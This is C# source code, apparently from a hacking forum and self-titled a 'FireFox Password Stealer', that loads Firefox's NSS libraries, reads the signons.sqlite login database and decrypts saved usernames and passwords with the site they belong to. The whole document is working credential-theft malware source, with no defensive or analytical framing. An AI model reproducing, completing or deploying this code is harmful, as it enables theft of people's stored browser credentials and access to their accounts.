public static string Decrypt(string S)
{
Structures.TSECItem tSECItem = default(Structures.TSECItem);
NSS_Init(FireFoxPath.GetRegistryFireFox());
long num = PK11_GetInternalKeySlot();
if (num == 0)
{
return(string.Empty);
}
PK11_Authenticate(num, true, 0L);
int value = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, S, S.Length);
Structures.TSECItem tSECItem2 = (Structures.TSECItem)Marshal.PtrToStructure(new IntPtr(value), typeof(Structures.TSECItem));
if (PK11SDR_Decrypt(ref tSECItem2, ref tSECItem, 0) != 0)
{
return(string.Empty);
}
if (tSECItem.SECItemLen != 0)
{
byte[] array = new byte[tSECItem.SECItemLen];
Marshal.Copy(new IntPtr(tSECItem.SECItemData), array, 0, tSECItem.SECItemLen);
return(Encoding.UTF8.GetString(array));
}
return(string.Empty);
}
private static void Main()
{
Console.Title = "New FireFox Password Stealer by Antlion [XakFor.Net]";
Console.WriteLine(FireFoxPath.GetRandomFF());
// DecryptTools.InitDelegates();
GetSignons.Password();
Console.ReadKey();
}
public static long NSS_Init(string path)
{
NativeMethods.LoadLibrary(Path.Combine(FireFoxPath.GetRegistryFireFox(), "mozglue.dll"));
NativeMethods.LoadLibrary(Path.Combine(FireFoxPath.GetRegistryFireFox(), "nssutil3.dll"));
NativeMethods.LoadLibrary(Path.Combine(FireFoxPath.GetRegistryFireFox(), "plc4.dll"));
NativeMethods.LoadLibrary(Path.Combine(FireFoxPath.GetRegistryFireFox(), "nspr4.dll"));
NativeMethods.LoadLibrary(Path.Combine(FireFoxPath.GetRegistryFireFox(), "MOZCRT19.dll"));
// NativeMethods.LoadLibrary(Path.Combine(FireFoxPath.GetRegistryFireFox(), ""));
NSS3 = NativeMethods.LoadLibrary(Path.Combine(FireFoxPath.GetRegistryFireFox(), "nss3.dll"));
IntPtr procAddress = NativeMethods.GetProcAddress(NSS3, "NSS_Init");
DLLFunctionDelegate dLLFunctionDelegate = (DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(DLLFunctionDelegate));
return(dLLFunctionDelegate(path));
}
public static void Password()
{
foreach (var SingleFile in Directory.GetFiles(FireFoxPath.GetRandomFF(), "signons.sqlite"))
{
if (!File.Exists(SingleFile))
{
break;
}
else
{
using (var Connect = new SQLiteConnection($"Data Source={SingleFile};Version=3;FailIfMissing=True;"))
{
Console.WriteLine("");
using (var ComText = new SQLiteCommand("SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins", Connect))
{
Connect.Open();
Console.WriteLine("Подключились");
ComText.CommandType = CommandType.Text;
try
{
using (var reader = ComText.ExecuteReader())
{
if (reader.HasRows)
{
Console.WriteLine("Есть записи");
while (reader.Read())
{
Console.WriteLine("Перебираем");
Console.WriteLine();
Console.WriteLine(reader.GetString(2));
Console.WriteLine(DecryptTools.Decrypt(reader.GetString(0)));
// Console.WriteLine(reader.GetString(1));
}
}
else
{
Console.WriteLine("Записей нет");
}
}
}
catch { }
}
}
}
}
}
public static void InitDelegates()
{
try
{
foreach (var CheckDLL in Massive)
{
if (File.Exists(Path.Combine(FireFoxPath.GetRegistryFireFox(), CheckDLL)))
{
Console.WriteLine(Path.Combine(FireFoxPath.GetRegistryFireFox(), CheckDLL));
}
}
if (File.Exists(Path.Combine(FireFoxPath.GetRegistryFireFox(), "nss3.dll")))
{
Console.WriteLine(Path.Combine(FireFoxPath.GetRegistryFireFox(), "nss3.dll"));
}
}
catch { }
}
